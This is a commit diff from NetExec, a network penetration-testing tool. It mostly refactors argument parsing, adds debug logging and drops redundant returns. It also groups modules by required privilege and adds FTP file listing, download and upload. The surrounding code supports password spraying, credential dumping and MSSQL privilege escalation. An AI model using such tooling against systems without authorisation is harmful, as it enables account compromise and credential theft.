Merge branch 'develop' into neff-neo4j
Signed-off-by: Marshall Hallenbeck <Marshall.Hallenbeck@gmail.com>main
commit
4b2535d8b4
|
@ -1,4 +1,5 @@
|
||||||
name: Lint Python code with ruff
|
name: Lint Python code with ruff
|
||||||
|
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||||
|
|
||||||
on: [push, pull_request]
|
on: [push, pull_request]
|
||||||
|
|
||||||
|
@ -11,15 +12,16 @@ jobs:
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
- uses: actions/setup-python@v4
|
|
||||||
with:
|
|
||||||
python-version: 3.11
|
|
||||||
- name: Install poetry
|
- name: Install poetry
|
||||||
run: |
|
run: |
|
||||||
pipx install poetry
|
pipx install poetry
|
||||||
poetry --version
|
- name: Set up Python
|
||||||
poetry env info
|
uses: actions/setup-python@v4
|
||||||
- name: Install libraries with dev group
|
with:
|
||||||
|
python-version: 3.11
|
||||||
|
cache: poetry
|
||||||
|
cache-dependency-path: poetry.lock
|
||||||
|
- name: Install dependencies with dev group
|
||||||
run: |
|
run: |
|
||||||
poetry install --with dev
|
poetry install --with dev
|
||||||
- name: Run ruff
|
- name: Run ruff
|
||||||
|
|
|
@ -48,6 +48,7 @@ a = Analysis(
|
||||||
'lsassy.parser',
|
'lsassy.parser',
|
||||||
'lsassy.session',
|
'lsassy.session',
|
||||||
'lsassy.impacketfile',
|
'lsassy.impacketfile',
|
||||||
|
'bloodhound',
|
||||||
'dns',
|
'dns',
|
||||||
'dns.name',
|
'dns.name',
|
||||||
'dns.resolver',
|
'dns.resolver',
|
||||||
|
|
152
nxc/cli.py
152
nxc/cli.py
|
@ -28,34 +28,12 @@ def gen_cli_args():
|
||||||
|
|
||||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||||
""",
|
""", formatter_class=RawTextHelpFormatter)
|
||||||
formatter_class=RawTextHelpFormatter,
|
|
||||||
)
|
|
||||||
|
|
||||||
parser.add_argument(
|
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||||
"-t",
|
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||||
type=int,
|
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||||
dest="threads",
|
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||||
default=100,
|
|
||||||
help="set how many concurrent threads to use (default: 100)",
|
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--timeout",
|
|
||||||
default=None,
|
|
||||||
type=int,
|
|
||||||
help="max timeout in seconds of each thread (default: None)",
|
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--jitter",
|
|
||||||
metavar="INTERVAL",
|
|
||||||
type=str,
|
|
||||||
help="sets a random delay between each connection (default: None)",
|
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--no-progress",
|
|
||||||
action="store_true",
|
|
||||||
help="Not displaying progress bar during scan",
|
|
||||||
)
|
|
||||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||||
|
@ -64,122 +42,34 @@ def gen_cli_args():
|
||||||
module_parser = argparse.ArgumentParser(add_help=False)
|
module_parser = argparse.ArgumentParser(add_help=False)
|
||||||
mgroup = module_parser.add_mutually_exclusive_group()
|
mgroup = module_parser.add_mutually_exclusive_group()
|
||||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||||
module_parser.add_argument(
|
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||||
"-o",
|
|
||||||
metavar="MODULE_OPTION",
|
|
||||||
nargs="+",
|
|
||||||
default=[],
|
|
||||||
dest="module_options",
|
|
||||||
help="module options",
|
|
||||||
)
|
|
||||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||||
module_parser.add_argument(
|
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||||
"--options",
|
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
|
||||||
dest="show_module_options",
|
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
|
||||||
action="store_true",
|
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||||
help="display module options",
|
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
|
||||||
)
|
|
||||||
module_parser.add_argument(
|
|
||||||
"--server",
|
|
||||||
choices={"http", "https"},
|
|
||||||
default="https",
|
|
||||||
help="use the selected server (default: https)",
|
|
||||||
)
|
|
||||||
module_parser.add_argument(
|
|
||||||
"--server-host",
|
|
||||||
type=str,
|
|
||||||
default="0.0.0.0",
|
|
||||||
metavar="HOST",
|
|
||||||
help="IP to bind the server to (default: 0.0.0.0)",
|
|
||||||
)
|
|
||||||
module_parser.add_argument(
|
|
||||||
"--server-port",
|
|
||||||
metavar="PORT",
|
|
||||||
type=int,
|
|
||||||
help="start the server on the specified port",
|
|
||||||
)
|
|
||||||
module_parser.add_argument(
|
|
||||||
"--connectback-host",
|
|
||||||
type=str,
|
|
||||||
metavar="CHOST",
|
|
||||||
help="IP for the remote system to connect back to (default: same as server-host)",
|
|
||||||
)
|
|
||||||
|
|
||||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||||
|
|
||||||
std_parser = argparse.ArgumentParser(add_help=False)
|
std_parser = argparse.ArgumentParser(add_help=False)
|
||||||
std_parser.add_argument(
|
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||||
"target",
|
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||||
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
|
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||||
type=str,
|
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||||
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
|
|
||||||
)
|
|
||||||
std_parser.add_argument(
|
|
||||||
"-id",
|
|
||||||
metavar="CRED_ID",
|
|
||||||
nargs="+",
|
|
||||||
default=[],
|
|
||||||
type=str,
|
|
||||||
dest="cred_id",
|
|
||||||
help="database credential ID(s) to use for authentication",
|
|
||||||
)
|
|
||||||
std_parser.add_argument(
|
|
||||||
"-u",
|
|
||||||
metavar="USERNAME",
|
|
||||||
dest="username",
|
|
||||||
nargs="+",
|
|
||||||
default=[],
|
|
||||||
help="username(s) or file(s) containing usernames",
|
|
||||||
)
|
|
||||||
std_parser.add_argument(
|
|
||||||
"-p",
|
|
||||||
metavar="PASSWORD",
|
|
||||||
dest="password",
|
|
||||||
nargs="+",
|
|
||||||
default=[],
|
|
||||||
help="password(s) or file(s) containing passwords",
|
|
||||||
)
|
|
||||||
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||||
std_parser.add_argument(
|
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||||
"--use-kcache",
|
|
||||||
action="store_true",
|
|
||||||
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
|
|
||||||
)
|
|
||||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||||
std_parser.add_argument(
|
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||||
"--aesKey",
|
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||||
metavar="AESKEY",
|
|
||||||
nargs="+",
|
|
||||||
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
|
|
||||||
)
|
|
||||||
std_parser.add_argument(
|
|
||||||
"--kdcHost",
|
|
||||||
metavar="KDCHOST",
|
|
||||||
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
|
|
||||||
)
|
|
||||||
|
|
||||||
fail_group = std_parser.add_mutually_exclusive_group()
|
fail_group = std_parser.add_mutually_exclusive_group()
|
||||||
fail_group.add_argument(
|
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||||
"--gfail-limit",
|
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||||
metavar="LIMIT",
|
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||||
type=int,
|
|
||||||
help="max number of global failed login attempts",
|
|
||||||
)
|
|
||||||
fail_group.add_argument(
|
|
||||||
"--ufail-limit",
|
|
||||||
metavar="LIMIT",
|
|
||||||
type=int,
|
|
||||||
help="max number of failed login attempts per username",
|
|
||||||
)
|
|
||||||
fail_group.add_argument(
|
|
||||||
"--fail-limit",
|
|
||||||
metavar="LIMIT",
|
|
||||||
type=int,
|
|
||||||
help="max number of failed login attempts per host",
|
|
||||||
)
|
|
||||||
|
|
||||||
p_loader = ProtocolLoader()
|
p_loader = ProtocolLoader()
|
||||||
protocols = p_loader.get_protocols()
|
protocols = p_loader.get_protocols()
|
||||||
|
|
|
@ -393,12 +393,16 @@ class connection:
|
||||||
with sem:
|
with sem:
|
||||||
if cred_type == "plaintext":
|
if cred_type == "plaintext":
|
||||||
if self.args.kerberos:
|
if self.args.kerberos:
|
||||||
|
self.logger.debug("Trying to authenticate using Kerberos")
|
||||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||||
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
|
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||||
|
self.logger.debug("Trying to authenticate using plaintext with domain")
|
||||||
return self.plaintext_login(domain, username, secret)
|
return self.plaintext_login(domain, username, secret)
|
||||||
elif self.args.protocol == "ssh":
|
elif self.args.protocol == "ssh":
|
||||||
|
self.logger.debug("Trying to authenticate using plaintext over SSH")
|
||||||
return self.plaintext_login(username, secret, data)
|
return self.plaintext_login(username, secret, data)
|
||||||
else:
|
else:
|
||||||
|
self.logger.debug("Trying to authenticate using plaintext")
|
||||||
return self.plaintext_login(username, secret)
|
return self.plaintext_login(username, secret)
|
||||||
elif cred_type == "hash":
|
elif cred_type == "hash":
|
||||||
if self.args.kerberos:
|
if self.args.kerberos:
|
||||||
|
@ -406,7 +410,6 @@ class connection:
|
||||||
return self.hash_login(domain, username, secret)
|
return self.hash_login(domain, username, secret)
|
||||||
elif cred_type == "aesKey":
|
elif cred_type == "aesKey":
|
||||||
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
|
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
|
||||||
return None
|
|
||||||
|
|
||||||
def login(self):
|
def login(self):
|
||||||
"""Try to login using the credentials specified in the command line or in the database.
|
"""Try to login using the credentials specified in the command line or in the database.
|
||||||
|
@ -441,6 +444,7 @@ class connection:
|
||||||
data.extend(parsed_data)
|
data.extend(parsed_data)
|
||||||
|
|
||||||
if self.args.use_kcache:
|
if self.args.use_kcache:
|
||||||
|
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||||
with sem:
|
with sem:
|
||||||
username = self.args.username[0] if len(self.args.username) else ""
|
username = self.args.username[0] if len(self.args.username) else ""
|
||||||
password = self.args.password[0] if len(self.args.password) else ""
|
password = self.args.password[0] if len(self.args.password) else ""
|
||||||
|
@ -455,7 +459,6 @@ class connection:
|
||||||
owned[user_index] = True
|
owned[user_index] = True
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
return True
|
return True
|
||||||
return None
|
|
||||||
else:
|
else:
|
||||||
if len(username) != len(secret):
|
if len(username) != len(secret):
|
||||||
self.logger.error("Number provided of usernames and passwords/hashes do not match!")
|
self.logger.error("Number provided of usernames and passwords/hashes do not match!")
|
||||||
|
@ -465,7 +468,6 @@ class connection:
|
||||||
owned[user_index] = True
|
owned[user_index] = True
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
return True
|
return True
|
||||||
return None
|
|
||||||
|
|
||||||
def mark_pwned(self):
|
def mark_pwned(self):
|
||||||
return highlight(f"({pwned_label})" if self.admin_privs else "")
|
return highlight(f"({pwned_label})" if self.admin_privs else "")
|
||||||
|
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -19,4 +19,3 @@ def get_desktop_uagent(uagent=None):
|
||||||
return desktop_uagents[random.choice(desktop_uagents.keys())]
|
return desktop_uagents[random.choice(desktop_uagents.keys())]
|
||||||
elif uagent:
|
elif uagent:
|
||||||
return desktop_uagents[uagent]
|
return desktop_uagents[uagent]
|
||||||
return None
|
|
||||||
|
|
|
@ -13,4 +13,3 @@ def highlight(text, color="yellow"):
|
||||||
return f"{colored(text, 'yellow', attrs=['bold'])}"
|
return f"{colored(text, 'yellow', attrs=['bold'])}"
|
||||||
elif color == "red":
|
elif color == "red":
|
||||||
return f"{colored(text, 'red', attrs=['bold'])}"
|
return f"{colored(text, 'red', attrs=['bold'])}"
|
||||||
return None
|
|
||||||
|
|
|
@ -77,4 +77,3 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||||
name = os.path.join(p, thefile)
|
name = os.path.join(p, thefile)
|
||||||
if _access_check(name, mode):
|
if _access_check(name, mode):
|
||||||
return name
|
return name
|
||||||
return None
|
|
||||||
|
|
|
@ -58,7 +58,6 @@ class ModuleLoader:
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||||
self.logger.debug(traceback.format_exc())
|
self.logger.debug(traceback.format_exc())
|
||||||
return None
|
|
||||||
|
|
||||||
def init_module(self, module_path):
|
def init_module(self, module_path):
|
||||||
"""Initialize a module for execution"""
|
"""Initialize a module for execution"""
|
||||||
|
@ -85,7 +84,6 @@ class ModuleLoader:
|
||||||
else:
|
else:
|
||||||
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
|
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
return None
|
|
||||||
|
|
||||||
def get_module_info(self, module_path):
|
def get_module_info(self, module_path):
|
||||||
"""Get the path, description, and options from a module"""
|
"""Get the path, description, and options from a module"""
|
||||||
|
@ -101,6 +99,7 @@ class ModuleLoader:
|
||||||
"supported_protocols": module_spec.supported_protocols,
|
"supported_protocols": module_spec.supported_protocols,
|
||||||
"opsec_safe": module_spec.opsec_safe,
|
"opsec_safe": module_spec.opsec_safe,
|
||||||
"multiple_hosts": module_spec.multiple_hosts,
|
"multiple_hosts": module_spec.multiple_hosts,
|
||||||
|
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if self.module_is_sane(module_spec, module_path):
|
if self.module_is_sane(module_spec, module_path):
|
||||||
|
@ -108,7 +107,6 @@ class ModuleLoader:
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||||
self.logger.debug(traceback.format_exc())
|
self.logger.debug(traceback.format_exc())
|
||||||
return None
|
|
||||||
|
|
||||||
def list_modules(self):
|
def list_modules(self):
|
||||||
"""List modules without initializing them"""
|
"""List modules without initializing them"""
|
||||||
|
|
|
@ -76,7 +76,5 @@ class NXCModule:
|
||||||
except socket.gaierror:
|
except socket.gaierror:
|
||||||
context.log.debug("Missing IP")
|
context.log.debug("Missing IP")
|
||||||
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
||||||
return None
|
|
||||||
else:
|
else:
|
||||||
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
||||||
return None
|
|
||||||
|
|
|
@ -78,8 +78,6 @@ class NXCModule:
|
||||||
context.log.success("Found following users: ")
|
context.log.success("Found following users: ")
|
||||||
for answer in answers:
|
for answer in answers:
|
||||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||||
return None
|
|
||||||
return None
|
|
||||||
|
|
||||||
def filter_answer(self, context, answers):
|
def filter_answer(self, context, answers):
|
||||||
# No option to filter
|
# No option to filter
|
||||||
|
|
|
@ -62,8 +62,6 @@ class NXCModule:
|
||||||
context.log.success("Found the following members of the " + self.GROUP + " group:")
|
context.log.success("Found the following members of the " + self.GROUP + " group:")
|
||||||
for answer in self.answers:
|
for answer in self.answers:
|
||||||
context.log.highlight(f"{answer[0]}")
|
context.log.highlight(f"{answer[0]}")
|
||||||
return None
|
|
||||||
return None
|
|
||||||
|
|
||||||
|
|
||||||
# Carry out an LDAP search for the Group with the supplied Group name
|
# Carry out an LDAP search for the Group with the supplied Group name
|
||||||
|
|
|
@ -84,5 +84,3 @@ class NXCModule:
|
||||||
group_name = group_parts[0].split("=")[1]
|
group_name = group_parts[0].split("=")[1]
|
||||||
|
|
||||||
context.log.highlight(f"{group_name}")
|
context.log.highlight(f"{group_name}")
|
||||||
return None
|
|
||||||
return None
|
|
||||||
|
|
|
@ -231,7 +231,6 @@ class NXCModule:
|
||||||
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
|
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
|
||||||
global credentials_data
|
global credentials_data
|
||||||
credentials_data = credentials_output
|
credentials_data = credentials_output
|
||||||
return None
|
|
||||||
|
|
||||||
def spider_pcs(self, context, connection, cursor, dbconnection, driver):
|
def spider_pcs(self, context, connection, cursor, dbconnection, driver):
|
||||||
cursor.execute("SELECT * from admin_users WHERE hash is not NULL")
|
cursor.execute("SELECT * from admin_users WHERE hash is not NULL")
|
||||||
|
|
File diff suppressed because one or more lines are too long
|
@ -48,9 +48,7 @@ class NXCModule:
|
||||||
keepass_process_id = row[0]
|
keepass_process_id = row[0]
|
||||||
keepass_process_username = row[1]
|
keepass_process_username = row[1]
|
||||||
keepass_process_name = row[2]
|
keepass_process_name = row[2]
|
||||||
context.log.highlight(
|
context.log.highlight(f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})')
|
||||||
f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})'
|
|
||||||
)
|
|
||||||
if row_number == 0:
|
if row_number == 0:
|
||||||
context.log.display("No KeePass-related process was found")
|
context.log.display("No KeePass-related process was found")
|
||||||
|
|
||||||
|
|
|
@ -51,7 +51,6 @@ class NXCModule:
|
||||||
# LDAPS bind successful
|
# LDAPS bind successful
|
||||||
# because channel binding is not enforced
|
# because channel binding is not enforced
|
||||||
return False
|
return False
|
||||||
return None
|
|
||||||
|
|
||||||
# Conduct a bind to LDAPS with channel binding supported
|
# Conduct a bind to LDAPS with channel binding supported
|
||||||
# but intentionally miscalculated. In the case that and
|
# but intentionally miscalculated. In the case that and
|
||||||
|
@ -74,10 +73,8 @@ class NXCModule:
|
||||||
return False
|
return False
|
||||||
elif err is not None:
|
elif err is not None:
|
||||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||||
return None
|
|
||||||
elif err is None:
|
elif err is None:
|
||||||
return False
|
return False
|
||||||
return None
|
|
||||||
|
|
||||||
# Domain Controllers do not have a certificate setup for
|
# Domain Controllers do not have a certificate setup for
|
||||||
# LDAPS on port 636 by default. If this has not been setup,
|
# LDAPS on port 636 by default. If this has not been setup,
|
||||||
|
@ -128,10 +125,8 @@ class NXCModule:
|
||||||
sys.exit()
|
sys.exit()
|
||||||
elif err is None:
|
elif err is None:
|
||||||
return False
|
return False
|
||||||
return None
|
|
||||||
else:
|
else:
|
||||||
context.log.fail(str(err))
|
context.log.fail(str(err))
|
||||||
return None
|
|
||||||
|
|
||||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||||
|
|
|
@ -117,7 +117,6 @@ class NXCModule:
|
||||||
|
|
||||||
context.log.debug("Calling process_credentials")
|
context.log.debug("Calling process_credentials")
|
||||||
self.process_credentials(context, connection, credentials_output)
|
self.process_credentials(context, connection, credentials_output)
|
||||||
return None
|
|
||||||
|
|
||||||
def process_credentials(self, context, connection, credentials):
|
def process_credentials(self, context, connection, credentials):
|
||||||
if len(credentials) == 0:
|
if len(credentials) == 0:
|
||||||
|
|
|
@ -139,7 +139,6 @@ class NXCModule:
|
||||||
else:
|
else:
|
||||||
self.context.log.display(f"{user.username} can impersonate: {grantor.username}")
|
self.context.log.display(f"{user.username} can impersonate: {grantor.username}")
|
||||||
return self.browse_path(context, initial_user, grantor)
|
return self.browse_path(context, initial_user, grantor)
|
||||||
return None
|
|
||||||
|
|
||||||
def query_and_get_output(self, query):
|
def query_and_get_output(self, query):
|
||||||
return self.mssql_conn.sql_query(query)
|
return self.mssql_conn.sql_query(query)
|
||||||
|
@ -354,8 +353,6 @@ class NXCModule:
|
||||||
if db in trusted_databases:
|
if db in trusted_databases:
|
||||||
return db
|
return db
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
def do_dbowner_privesc(self, database, exec_as=""):
|
def do_dbowner_privesc(self, database, exec_as=""):
|
||||||
"""
|
"""
|
||||||
Executes a series of SQL queries to perform a database owner privilege escalation.
|
Executes a series of SQL queries to perform a database owner privilege escalation.
|
||||||
|
|
File diff suppressed because one or more lines are too long
|
@ -88,8 +88,5 @@ class NXCModule:
|
||||||
value = self.convert_time_field(field, pso[field])
|
value = self.convert_time_field(field, pso[field])
|
||||||
context.log.highlight(f"{field}: {value}")
|
context.log.highlight(f"{field}: {value}")
|
||||||
context.log.highlight("-----")
|
context.log.highlight("-----")
|
||||||
return None
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
context.log.info("No Password Settings Objects (PSO) found.")
|
context.log.info("No Password Settings Objects (PSO) found.")
|
||||||
return None
|
|
||||||
|
|
|
@ -137,8 +137,6 @@ class SMBSpiderPlus:
|
||||||
if self.reconnect():
|
if self.reconnect():
|
||||||
return self.get_remote_file(share, path)
|
return self.get_remote_file(share, path)
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
def read_chunk(self, remote_file, chunk_size=CHUNK_SIZE):
|
def read_chunk(self, remote_file, chunk_size=CHUNK_SIZE):
|
||||||
"""Reads the next chunk of data from the provided remote file using the specified chunk size.
|
"""Reads the next chunk of data from the provided remote file using the specified chunk size.
|
||||||
If a `SessionError` is encountered, it retries up to 3 times by reconnecting the SMB connection.
|
If a `SessionError` is encountered, it retries up to 3 times by reconnecting the SMB connection.
|
||||||
|
|
File diff suppressed because one or more lines are too long
|
@ -37,6 +37,7 @@ if platform != "win32":
|
||||||
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def create_db_engine(db_path):
|
def create_db_engine(db_path):
|
||||||
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||||
|
|
||||||
|
@ -165,8 +166,13 @@ def main():
|
||||||
modules = loader.list_modules()
|
modules = loader.list_modules()
|
||||||
|
|
||||||
if args.list_modules:
|
if args.list_modules:
|
||||||
|
nxc_logger.highlight("LOW PRIVILEGE MODULES")
|
||||||
for name, props in sorted(modules.items()):
|
for name, props in sorted(modules.items()):
|
||||||
if args.protocol in props["supported_protocols"]:
|
if args.protocol in props["supported_protocols"] and not props["requires_admin"]:
|
||||||
|
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||||
|
nxc_logger.highlight("\nHIGH PRIVILEGE MODULES (requires admin privs)")
|
||||||
|
for name, props in sorted(modules.items()):
|
||||||
|
if args.protocol in props["supported_protocols"] and props["requires_admin"]:
|
||||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||||
exit(0)
|
exit(0)
|
||||||
elif args.module and args.show_module_options:
|
elif args.module and args.show_module_options:
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
|
import os
|
||||||
from nxc.config import process_secret
|
from nxc.config import process_secret
|
||||||
from nxc.connection import connection
|
from nxc.connection import connection
|
||||||
from nxc.helpers.logger import highlight
|
from nxc.helpers.logger import highlight
|
||||||
from nxc.logger import NXCAdapter
|
from nxc.logger import NXCAdapter
|
||||||
from ftplib import FTP
|
from ftplib import FTP, error_perm
|
||||||
|
|
||||||
|
|
||||||
class ftp(connection):
|
class ftp(connection):
|
||||||
def __init__(self, args, db, host):
|
def __init__(self, args, db, host):
|
||||||
|
@ -69,30 +69,102 @@ class ftp(connection):
|
||||||
host_id = self.db.get_hosts(self.host)[0].id
|
host_id = self.db.get_hosts(self.host)[0].id
|
||||||
self.db.add_loggedin_relation(cred_id, host_id)
|
self.db.add_loggedin_relation(cred_id, host_id)
|
||||||
|
|
||||||
if username in ["anonymous", ""] and password in ["", "-"]:
|
if username in ["anonymous", ""]:
|
||||||
self.logger.success(f"{username}:{process_secret(password)} {highlight('- Anonymous Login!')}")
|
self.logger.success(f"{username}:{process_secret(password)} {highlight('- Anonymous Login!')}")
|
||||||
else:
|
else:
|
||||||
self.logger.success(f"{username}:{process_secret(password)}")
|
self.logger.success(f"{username}:{process_secret(password)}")
|
||||||
|
|
||||||
if self.args.ls:
|
if self.args.ls:
|
||||||
|
# If the default directory is specified, then we will list the current directory
|
||||||
|
if self.args.ls == ".":
|
||||||
files = self.list_directory_full()
|
files = self.list_directory_full()
|
||||||
|
# If files is false, then we encountered an exception
|
||||||
|
if not files:
|
||||||
|
return False
|
||||||
|
# If there are files, then we can list the files
|
||||||
self.logger.display("Directory Listing")
|
self.logger.display("Directory Listing")
|
||||||
for file in files:
|
for file in files:
|
||||||
self.logger.highlight(file)
|
self.logger.highlight(file)
|
||||||
|
else:
|
||||||
|
# If the default directory is not specified, then we will list the specified directory
|
||||||
|
self.logger.display(f"Directory Listing for {self.args.ls}")
|
||||||
|
# Change to the specified directory
|
||||||
|
try:
|
||||||
|
self.conn.cwd(self.args.ls)
|
||||||
|
except error_perm as error_message:
|
||||||
|
self.logger.fail(f"Failed to change directory. Response: ({error_message})")
|
||||||
|
self.conn.close()
|
||||||
|
return False
|
||||||
|
# List the files in the specified directory
|
||||||
|
files = self.list_directory_full()
|
||||||
|
for file in files:
|
||||||
|
self.logger.highlight(file)
|
||||||
|
|
||||||
|
if self.args.get:
|
||||||
|
self.get_file(f"{self.args.get}")
|
||||||
|
|
||||||
|
if self.args.put:
|
||||||
|
self.put_file(self.args.put[0], self.args.put[1])
|
||||||
|
|
||||||
if not self.args.continue_on_success:
|
if not self.args.continue_on_success:
|
||||||
self.conn.close()
|
